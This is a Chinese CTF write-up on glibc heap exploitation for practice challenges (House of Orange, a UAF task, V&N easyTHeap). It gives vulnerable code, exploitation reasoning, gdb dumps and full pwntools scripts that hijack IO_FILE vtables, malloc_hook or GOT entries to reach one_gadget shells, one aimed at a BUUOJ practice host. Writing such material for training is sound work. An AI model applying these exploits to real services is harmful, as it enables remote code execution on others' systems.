exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 from pwn import * context(arch = 'amd64' , os = 'linux' , log_level='debug' ) exeFile = 'houseoforange' libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "0.0.0.0" remotePort = 0 LOCAL = 1 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) db = lambda : gdb.attach(io)def ad (size, data ): sla('Your choice : ' , str (1 )) sla('name :' , str (size)) sa('Name :' , data) sla('Price of Orange:' , str (16 )) sla('Orange:' , '1' );def md (size, data ): sla('Your choice : ' , str (3 )) sla('name :' , str (size)) sa('Name:' , data) sla('Price of Orange:' , str (16 )) sla('Orange:' , '1' );def dp (): sla('Your choice : ' , str (2 ))def q (): sla(':' , str (5 )) def exploit (): main_arena = 0x3c4b20 ad(0x10 , 'A' * 0x10 ) p = 'A' * 0x10 p += p64(0 ) + p64(0x21 ) p += p64(0x1f00000010 ) p += p64(0 ) p += p64(0 ) p += p64(0x00fa1 ) li('addr: ' + hex (0xfa1 + 0x1000 )) md(0x80 , p) ad(0x1000 , 'B' * 0x10 ) ad(0x400 , 'C' * 0x8 ) dp() lib.address = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) - main_arena - 1640 li('libc_base ' + hex (lib.address)) md(0x10 , 'C' * 0x10 ) dp() ru('CCCCCCCCCCCCCCCC' ) heap = u64(ru('\x0a' ).ljust(8 , '\x00' )) - 0xc0 li('heap ' + hex (heap)) _IO_list_all = lib.sym['_IO_list_all' ] li('_IO_list_all ' + hex (_IO_list_all)) p = 'B' * 0x400 p += p64(0 ) p += p64(0x21 ) p += 'B' * 0x10 f = '/bin/sh\x00' f += p64(0x61 ) f += p64(0 ) f += p64(_IO_list_all - 0x10 ) f += p64(0 ) f += p64(1 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p32(0 ) f += p32(0 ) f += p64(1 ) f += p16(2 ) f += p8(3 ) f += p8(4 ) f += p32(0 ) f += p64(0 ) f += p64(6 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p64(0 ) f += p32(0 ) f += p32(0 ) p += f p += p64(0 ) * 3 p += p64(heap + 0x5C8 ) p += p64(0 ) * 2 p += p64(lib.sym['system' ]) md(0x600 , p) db() sl('1' ) def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()
UAF 来源 V&N cnitlrt的面试,这是我自己按他要求出的题,然后自己打.
难度 5 / 10
保护 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
简单描述 只有添加和删除功能, 添加的时候输入大小,再输入内容, 而删除根据索引进行删除.
vul 1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 del () { int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); v1 = 0 ; puts ("idx: " ); __isoc99_scanf("%d" , &v1); free (*((void **)&pheap + 2 * v1)); puts ("OK" ); return __readfsqword(0x28 u) ^ v2; }
知识点 fastbin attack, IO_FILE
思路 开辟一个small bin, 然后通过fastbin attack partial write 修改unsoted bin 的 fd 的后两字节指向_IO_2_1_stderr
+ 157处, 使用fastbin attack_IO_2_1_stdout`结构体中泄漏libc, 再次使用fastbin attack 打入malloc_hook - 0x23处打one_gadget, realloc的push次数调整execve第二个参数, 打通概率 1 /16
利用 准备 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import * context.log_level='debug' exeFile = 'pwn' libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "0.0.0.0" remotePort = 0 LOCAL = 1 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) db = lambda : gdb.attach(io)def ad (size, data ): sla('2.del' , str (1 )) sla(':' , str (size)) sa(':' , data)def rm (idx ): sla('2.del' , str (2 )) sla(':' , str (idx))def q (): sla(':' , str (3 )) def exploit (): a = 0 ; if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()
堆布局 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ad(0x20 , 'A' ) p = 'A' * 0x50 p += p64(0 ) p += p64(0x31 ) ad(0x60 , p) ad(0x80 , 'B' ) ad(0x20 , 'A' ) ad(0x60 , 'A' ) ad(0x60 , 'A' ) ad(0x60 , 'A' )
打入chunk 2修改size 和fd 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 rm(3 ) rm(0 ) rm(3 ) rm(2 ) ad(0x20 , '\x90' ) ad(0x20 , 'A' ) ad(0x20 , 'A' ) p = p64(0 ) p += p64(0x71 ) p += '\xdd\x25' ad(0x20 , p)
打入_IO_2_1_stderr + 157处 满足size调试如下:
1 2 3 4 5 6 7 8 9 10 pwndbg> x /40gx (long int)&_IO_2_1_stdout_ - 0x43 0x7f007e1fe5dd <_IO_2_1_stderr_+157>: 0x007e1fd660000000 0x000000000000007f 0x7f007e1fe5ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000 0x7f007e1fe5fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000 0x7f007e1fe60d <_IO_2_1_stderr_+205>: 0x0000000000000000 0x007e1fc6e0000000 0x7f007e1fe61d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0x007e1fe6a3000000 0x7f007e1fe62d <_IO_2_1_stdout_+13>: 0x007e1fe6a300007f 0x007e1fe6a300007f 0x7f007e1fe63d <_IO_2_1_stdout_+29>: 0x007e1fe6a300007f 0x007e1fe6a300007f 0x7f007e1fe64d <_IO_2_1_stdout_+45>: 0x007e1fe6a300007f 0x007e1fe6a300007f 0x7f007e1fe65d <_IO_2_1_stdout_+61>: 0x007e1fe6a400007f 0x000000000000007f
把刚才所构建的fastbin chunk 2放入fastbin 中
1 2 3 4 5 6 7 8 9 10 11 rm(4 ) rm(1 ) rm(4 ) ad(0x60 , '\xa0' ) ad(0x60 , 'A' ) ad(0x60 , 'A' ) ad(0x60 , 'A' )
泄漏libc 修改_IO_2_1_stdout
结构体实现打印出libc中的地址
1 2 3 4 5 6 7 8 9 p = 'A' * 0x33 p += p64(0xfbad3c80 ) p += p64(0 ) * 3 p += p8(8 ) ad(0x60 , p) lib.address = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) - (0x7ffff7dd2608 - 0x7ffff7a0d000 ) li('libc_base ' + hex (lib.address))
打入__malloc_hook - 0x23处 1 2 3 4 5 6 7 8 9 10 11 12 13 rm(5 ) rm(6 ) rm(5 ) p = p64(lib.sym['__malloc_hook' ] - 0x23 ) ad(0x68 , p) ad(0x68 , 'A' ) ad(0x68 , 'A' )
修改malloc_hook 和realloc_hook打one_gadget 通过realloc的push次数来调整execve的第二个参数
1 2 3 4 5 6 7 gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] one_gadget = lib.address + gadget[1 ] p = 'A' * (0x13 -8 ) p += p64(one_gadget) p += p64(lib.sym['realloc' ] + 12 ) ad(0x68 , p)
get shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 from pwn import * context.log_level='debug' exeFile = 'pwn' libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "0.0.0.0" remotePort = 0 LOCAL = 1 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) db = lambda : gdb.attach(io)def ad (size, data ): sla('2.del' , str (1 )) sla(':' , str (size)) sa(':' , data)def rm (idx ): sla('2.del' , str (2 )) sla(':' , str (idx))def q (): sla(':' , str (3 )) def exploit (): ad(0x20 , 'A' ) p = 'A' * 0x50 p += p64(0 ) p += p64(0x31 ) ad(0x60 , p) ad(0x80 , 'B' ) ad(0x20 , 'A' ) ad(0x60 , 'A' ) ad(0x60 , 'A' ) ad(0x60 , 'A' ) rm(3 ) rm(0 ) rm(3 ) rm(2 ) ad(0x20 , '\x90' ) ad(0x20 , 'A' ) ad(0x20 , 'A' ) p = p64(0 ) p += p64(0x71 ) p += '\xdd\x25' ad(0x20 , p) rm(4 ) rm(1 ) rm(4 ) ad(0x60 , '\xa0' ) ad(0x60 , 'A' ) ad(0x60 , 'A' ) ad(0x60 , 'A' ) p = 'A' * 0x33 p += p64(0xfbad3c80 ) p += p64(0 ) * 3 p += p8(8 ) ad(0x60 , p) lib.address = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) - (0x7ffff7dd2608 - 0x7ffff7a0d000 ) li('libc_base ' + hex (lib.address)) rm(5 ) rm(6 ) rm(5 ) p = p64(lib.sym['__malloc_hook' ] - 0x23 ) ad(0x68 , p) ad(0x68 , 'A' ) ad(0x68 , 'A' ) gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] one_gadget = lib.address + gadget[1 ] p = 'A' * (0x13 -8 ) p += p64(one_gadget) p += p64(lib.sym['realloc' ] + 12 ) ad(0x68 , p) ru('del' ) sl('1' ) def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
easyTHeap 来源 v & n
难度 4 / 10
保护 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
简单描述 该环境为glibc 2.27, 有teache机制.题中有五个功能,利用有限制,malloc只能7次以下, free 3次以下.
vul 1 2 3 4 5 6 7 8 9 10 11 12 int del () { int v1; printf ("idx?" ); v1 = inputNum(); if ( v1 < 0 || v1 > 6 || !heap_array[v1] ) exit (0 ); free ((void *)heap_array[v1]); size_array[v1] = 0 ; return puts ("Done!" ); }
拥有uaf漏洞,可以使用teache机制double free任意地址分配.
打法1 评估:
复杂度: 比较复杂 成功率: 低
知识点 tcache, IO_FILE
思路 程序中限制了malloc
和free
的次数, 存在明显的uaf漏洞, 但是可以首先利用Tcache dup泄露heap 地址, 然后通过使tcache bin的数量不满足满0~7之后,释放即获得通过unsoted bin通过打印泄漏libc地址,实现任意地址分配.修改IO_2_1_stdout结构, 实现IO流对vtable的调用来触发one_gadget.
利用 准备 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import * context.log_level='debug' exeFile = 'vn_pwn_easyTHeap' libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "node3.buuoj.cn" remotePort = 28200 LOCAL = 0 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def get_IO_str_jumps_offset (): IO_file_jumps_offset = lib.sym['_IO_file_jumps' ] IO_str_underflow_offset = lib.sym['_IO_str_underflow' ] for ref_offset in lib.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: return possible_IO_str_jumps_offsetdef ad (size ): sla('choice: ' , str (1 )) sla('?' , str (size))def rm (idx ): sla('choice: ' , str (4 )) sla('?' , str (idx))def md (idx, data ): sla('choice: ' , str (2 )) sla('?' , str (idx)) sla(':' , data)def dp (idx ): sla('choice: ' , str (3 )) sla('?' , str (idx))def q (): sla('choice: ' , str (5 ))
leak heap 1 2 3 4 5 6 7 8 9 10 ad(0x100 ) ad(0x100 ) rm(0 ) rm(0 ) dp(0 ) heap_base = u64(ru('\n' ) + '\x00\x00' ) - 0x260 li('heap_base ' + hex (heap_base))
leak libc 通过使tcache bin的数量不满足满0~7之后,释放即获得通过unsoted bin通过打印泄漏libc地址, 那么怎样才能不满足呢,由于程序中最多只能分配7次,就不能使tcache bin的数量大于7了,那只能小于0,怎样才能小于0, 就采用tcache double free之后,就已经形成一个环,若没有修改fd,就一直在原地分配,分配成功后tcache bin的count - 1,当tcache bin的count小于0时,再次释放任何堆,就不会到tcache bin中了.
1 2 3 4 5 6 7 8 9 10 ad(0x100 ) ad(0x100 ) ad(0x100 ) rm(0 ) dp(0 ) heap_base = u64(ru('\n' ) + '\x00\x00' ) - 0x260 li('heap_base ' + hex (heap_base))
实现任意地址写入 这里只需修改chunk 0的fd指向我们想要的地方,再次开辟,就会到我们想要修改的地方.
1 2 3 4 5 p = p64(_IO_2_1_stdout_) md(3 , p) ad(0x100 ) ad(0x100 )
上面任意地址写入已经实现,如果改写malloc_hook或者free_hook,可以改写成功,但是没有办法触发.这是因为,已经用完了add功能的7次调用,delete功能的3次调用,因此,接下来,就调用不了malloc或free,也就无法触发了.因此,可以劫持_IO_2_1_stdout_的虚表.通过IO流对虚表的调用来触发one_gadget.由于glibc为2.29,因此不能直接伪造虚表,而应该将虚表劫持为_IO_str_jumps_附近
1 2 3 4 5 6 7 8 9 10 0x00007f1fda7b1a65 <+165>: lea rdx,[rip+0x366cf4] # 0x7f1fdab18760 <_IO_helper_jumps> 0x00007f1fda7b1a6c <+172>: lea rax,[rip+0x367a55] # 0x7f1fdab194c8 0x00007f1fda7b1a73 <+179>: sub rax,rdx 0x00007f1fda7b1a76 <+182>: mov rcx,r13 0x00007f1fda7b1a79 <+185>: sub rcx,rdx 0x00007f1fda7b1a7c <+188>: cmp rax,rcx 0x00007f1fda7b1a7f <+191>: jbe 0x7f1fda7b1b40 <_IO_puts+384> 0x00007f1fda7b1a85 <+197>: mov rdx,rbx 0x00007f1fda7b1a88 <+200>: mov rsi,r12 0x00007f1fda7b1a8b <+203>: call QWORD PTR [r13+0x38] #调用虚表
只需要让[r13+0x38]为IO_str_finish函数的指针即可,因此,需要将虚表修改为IO_str_jumps – XX,使得,r13+0x38正好对应上_IO_str_finish指针, 而IO_str_finish函数会call [IO_2_1_stdout + 0xE8]
call的前提是_IO_2_1_stdout_的flag的低1字节要为0. 综上,需要劫持_IO_2_1_stdout_结构体,修改flags,劫持虚表为IO_str_jumps – XX,修改_IO_2_1_stdout_+0xE8处为one_gadget.然后puts的调用即可触发one_gadget
修改IO_2_1_stdout结构体 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 p = p64(0xfbad2886 ) p += p64(_IO_2_1_stdout_ + 0x200 ) * 7 p += p64(_IO_2_1_stdout_ + 0x201 ) p += p64(0 ) * 5 p += p32(1 ) p += p32(0 ) p += p64(0xffffffffffffffff ) p += p64(0x000000000a000000 ) _IO_stdfile_1_lock = lib.address + (0x7ff3095508c0 - 0x7ff309163000 ) p += p64(_IO_stdfile_1_lock) p += p64(0xffffffffffffffff ) p += p64(0 ) _IO_wide_data_1 = lib.address + (0x7f2fc336a8c0 - 0x7f2fc2f7f000 ) p += p64(_IO_wide_data_1) p += p64(0 ) * 3 p += p64(0xffffffff ) p = p.ljust(0xd8 , '\x00' ) p += p64(vtable_jump) p += p64(0 ) p += p64(one_gadget) md(6 , p)
exp-1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 from pwn import * context.log_level='debug' exeFile = 'vn_pwn_easyTHeap' libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "node3.buuoj.cn" remotePort = 28200 LOCAL = 0 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def get_IO_str_jumps_offset (): IO_file_jumps_offset = lib.sym['_IO_file_jumps' ] IO_str_underflow_offset = lib.sym['_IO_str_underflow' ] for ref_offset in lib.search(p64(IO_str_underflow_offset)): li('AA' ) possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: return possible_IO_str_jumps_offsetdef ad (size ): sla('choice: ' , str (1 )) sla('?' , str (size))def rm (idx ): sla('choice: ' , str (4 )) sla('?' , str (idx))def md (idx, data ): sla('choice: ' , str (2 )) sla('?' , str (idx)) sla(':' , data)def dp (idx ): sla('choice: ' , str (3 )) sla('?' , str (idx))def q (): sla('choice: ' , str (5 )) def exploit (): ad(0x100 ) ad(0x100 ) rm(0 ) rm(0 ) dp(0 ) heap_base = u64(ru('\n' ) + '\x00\x00' ) - 0x260 li('heap_base ' + hex (heap_base)) ad(0x100 ) ad(0x100 ) ad(0x100 ) rm(0 ) _IO_str_jumps_offset = get_IO_str_jumps_offset() dp(0 ) lib.address = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) - 96 - 0x3ebc40 li('libc base ' + hex (lib.address)) _IO_str_jumps = lib.address + _IO_str_jumps_offset _IO_2_1_stdout_ = lib.sym['_IO_2_1_stdout_' ] li('_IO_str_jumps ' + hex (_IO_str_jumps)) li('_IO_2_1_stdout ' + hex (_IO_2_1_stdout_)) vtable_jump = _IO_str_jumps - 0x28 gadget = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = lib.address + gadget[1 ] p = p64(_IO_2_1_stdout_) md(3 , p) ad(0x100 ) ad(0x100 ) p = p64(0xfbad2886 ) p += p64(_IO_2_1_stdout_ + 0x200 ) * 7 p += p64(_IO_2_1_stdout_ + 0x201 ) p += p64(0 ) * 5 p += p32(1 ) p += p32(0 ) p += p64(0xffffffffffffffff ) p += p64(0x000000000a000000 ) _IO_stdfile_1_lock = lib.address + (0x7ff3095508c0 - 0x7ff309163000 ) p += p64(_IO_stdfile_1_lock) p += p64(0xffffffffffffffff ) p += p64(0 ) _IO_wide_data_1 = lib.address + (0x7f2fc336a8c0 - 0x7f2fc2f7f000 ) p += p64(_IO_wide_data_1) p += p64(0 ) * 3 p += p64(0xffffffff ) p = p.ljust(0xd8 , '\x00' ) p += p64(vtable_jump) p += p64(0 ) p += p64(one_gadget) md(6 , p) def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
参考: https://blog.csdn.net/seaaseesa/article/details/105404106
打法2 评估:
复杂度: 一般 成功率: 一般
上面那个调用太复杂了,来个直接的
知识点 tcache, libc中的链接原理(与plt与got差不多)
思路 程序中限制了malloc
和free
的次数, 存在明显的uaf漏洞, 但是可以首先利用Tcache dup泄露heap 地址, 然后通过使tcache bin的数量不满足满0~7之后,释放即获得通过unsoted bin通过打印泄漏libc地址,后面通过还有任意地址分配.将要调用的某个libc中的某个plt函数所对应的跳转地址中的值给改为one_gadget
利用 这个获取libc地址的打法与上面一样,就不写了, 主要是获得任意读写地址之后,怎样打one_gadget调用.这个打发就简单得多了,且高效,若所以one_gadget打不通,还可以换其他libc中plt函数来打,打通几率大大提升.
通过调试, 发现在puts中存在一个plt,但是我打了全部one_gadget,就是参数不符合one_gadget,所以在printf中找到一个,如下.ABS*+0xa07f0@plt就是我们的目标了.
1 2 3 4 5 6 7 8 0x7f68f522141f <vfprintf+143> mov qword ptr [rbp - 0x438], rax 0x7f68f5221426 <vfprintf+150> movups xmmword ptr [rbp - 0x448], xmm0 ► 0x7f68f522142d <vfprintf+157> call *ABS*+0xa07f0@plt <0x7f68f51e7040> rdi: 0x55d549dc2ff6 ◂— imul esp, dword ptr [rax + rdi*2 + 0x3f], 0x6e6f6300 /* 'idx?' */ rsi: 0x25 rdx: 0x7ffe06e5d790 ◂— 0x3000000008 rcx: 0x0
反编译ABS +0xa07f0@plt <0x7f68f51e7040>,获取类似与储存地址的got表地址.0x7f68f55b1048
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> disass 0x7f68f51e7040 Dump of assembler code for function *ABS*+0xa07f0@plt: 0x00007f68f51e7040 <+0>: jmp QWORD PTR [rip+0x3ca002] # 0x7f68f55b1048 0x00007f68f51e7046 <+6>: push 0x28 0x00007f68f51e704b <+11>: jmp 0x7f68f51e6fd0 End of assembler dump. pwndbg> x /40gx 0x7f68f55b1048 # 修改里面的地址为one_gadget就行. 0x7f68f55b1048: 0x00007f68f5277120 0x00007f68f5345c80 0x7f68f55b1058: 0x00007f68f51e7066 0x00007f68f5347490 0x7f68f55b1088: 0x00007f68f5271970 0x00007f68f5350f90 0x7f68f55b1098: 0x00007f68f5271ea0 0x00007f68f55d0250 ... ... pwndbg> x /10gx 0x00007f68f5277120 0x7f68f5277120 <__strchrnul_sse2>: 0xff25f889ce6e0f66 0x3dc9600f6600000f 0x7f68f5277130 <__strchrnul_sse2+16>: 0xc9610f6600000fc0 0x4d8f0f00c9700f66 0x7f68f5277140 <__strchrnul_sse2+32>: 0x66076f0ff3000001 0x66e06f0f66dbef0f 0x7f68f5277150 <__strchrnul_sse2+48>: 0x66e3740f66c1740f 0x85c0d70f66c4eb0f 0x7f68f5277160 <__strchrnul_sse2+64>: 0x8d48c0bc0f0d74c0 0x0000441f0fc30704 pwndbg>
exp-2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 from pwn import * context.log_level='debug' exeFile = 'vn_pwn_easyTHeap' libFile = '/lib/x86_64-linux-gnu/libc.so.6' remoteIp = "node3.buuoj.cn" remotePort = 28200 LOCAL = 1 LIB = 1 r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info(x) db = lambda : gdb.attach(io)def ad (size ): sla('choice: ' , str (1 )) sla('?' , str (size))def rm (idx ): sla('choice: ' , str (4 )) sla('?' , str (idx))def md (idx, data ): sla('choice: ' , str (2 )) sla('?' , str (idx)) sa(':' , data)def dp (idx ): sla('choice: ' , str (3 )) sla('?' , str (idx))def q (): sla('choice: ' , str (5 )) def exploit (): ad(0x100 ) ad(0x100 ) rm(0 ) rm(0 ) dp(0 ) heap_base = u64(ru('\n' ) + '\x00\x00' ) - 0x260 li('heap_base ' + hex (heap_base)) ad(0x100 ) ad(0x100 ) ad(0x100 ) rm(0 ) dp(0 ) lib.address = u64(ru('\x7f' )[-5 :] + '\x7f\x00\x00' ) - 96 - 0x3ebc40 li('libc base ' + hex (lib.address)) ABS = lib.address + (0x7fd855098048 - 0x7fd854cad000 ) gadget = [0x4f2c5 , 0x4f322 , 0xe569f , 0xe5858 , 0xe585f , 0xef863 , 0x10a38c , 0x10a398 ] one_gadget = lib.address + gadget[1 ] md(3 , p64(ABS)) ad(0x100 ) li('ABS_got ' + hex (ABS)) ad(0x100 ) p = p64(one_gadget) md(6 , p)def finish (): ia() c()if __name__ == '__main__' : if LOCAL: exe = ELF(exeFile) if LIB: lib = ELF(libFile) io = exe.process(env = {"LD_PRELOAD" : libFile}) else : io = exe.process() else : exe = ELF(exeFile) io = remote(remoteIp, remotePort) if LIB: lib = ELF(libFile) exploit() finish()''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0xe569f execve("/bin/sh", r14, r12) constraints: [r14] == NULL || r14 == NULL [r12] == NULL || r12 == NULL 0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70]) constraints: [[rbp-0x88]] == NULL || [rbp-0x88] == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL 0xe585f execve("/bin/sh", r10, [rbp-0x70]) constraints: [r10] == NULL || r10 == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL 0xe5863 execve("/bin/sh", r10, rdx) constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL 0x10a398 execve("/bin/sh", rsi, [rax]) constraints: [rsi] == NULL || rsi == NULL [[rax]] == NULL || [rax] == NULL '''
打法3 评估:
复杂度: 一般 成功率: 高
上面那个两个都没有控制好malloc的次数,多了一个,这个就控制少了一个,所以直接修改realloc_hook和malloc_hook打one_gadget.
知识点 tcache管理机制
